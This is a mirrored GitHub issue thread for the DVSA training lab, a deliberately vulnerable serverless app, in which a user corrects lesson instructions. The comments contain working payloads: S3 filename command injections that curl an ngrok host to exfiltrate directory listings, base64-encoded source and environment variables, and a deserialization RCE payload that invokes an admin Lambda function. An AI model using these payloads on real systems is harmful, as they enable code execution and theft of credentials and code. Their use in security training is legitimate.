Coder Social home page Coder Social logo

Comments (4)

halfluke avatar halfluke commented on August 23, 2024

Commands to be fixed in the instructions for lesson 4:

aws s3 cp ~/empty 's3://dvsa-receipts-bucket-{your_bucket_id}/2020/20/20/null_;curl 9c3f7623.ngrok.io?data="$(ls)";echo x.raw' --acl public-read --profile hacker

aws s3 cp ~/empty 's3://dvsa-receipts-bucket-{your_bucket_id}/2020/20/20/null_;curl 9c3f7623.ngrok.io?code="$(cd x; cd y; cd z; cat send_receipt_email.py | base64 --wrap=0)" echo x.raw' --acl public-read --profile hacker

It could also be suggested to verify the bucket permissions to cp and ls, from a different aws account (in my case I created an organization and a second aws account in the same org)

from dvsa.

halfluke avatar halfluke commented on August 23, 2024

Lesson 5 last part:
{"action": "_$$ND_FUNC$$_function(){var p=JSON.stringify({"headers":{"authorization":"eyJra ... l7g10i5Q"}, "body":{"action":"update", "order-id": "480e3996-e8a7-4fdb-bc12-94fdae1e14fb", "item":{"token": "VFqDWCgagMO7", "ts": 1546482872, "itemList": {"11": 1, "12": 1}, "address": "100 Fake st., NYC, USA", "total": 74, "status": 120}}});var a=require("aws-sdk");var l=new a.Lambda();var x={FunctionName:"DVSA-ADMIN-UPDATE-ORDERS",InvocationType:"RequestResponse",Payload:p};l.invoke(x, function(e,d){});}()"}

This seems to give a TypeError on line 70 when decoding the auth token.

For some unclear reason I had to change the following:
token_sections = auth_header.split('.')
try:
auth_data = base64.b64decode(token_sections[1]+"===")
So that no exception is generated: see https://gist.github.com/perrygeo/ee7c65bb1541ff6ac770

from dvsa.

halfluke avatar halfluke commented on August 23, 2024

Lesson 7 requires --acl public-read:

aws s3 cp ~/empty 's3://dvsa-receipts-bucket-xxxxxxxxxxx/2020/20/20/null_;b=env|base64 --wrap=0;curl xxxxx.ngrok.io?data=$b;echo x.raw' --acl public-read --profile xxxxxxxx

from dvsa.

halfluke avatar halfluke commented on August 23, 2024

Lesson 10: only {"action": "get"} seems to trigger an unhandled exception

from dvsa.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.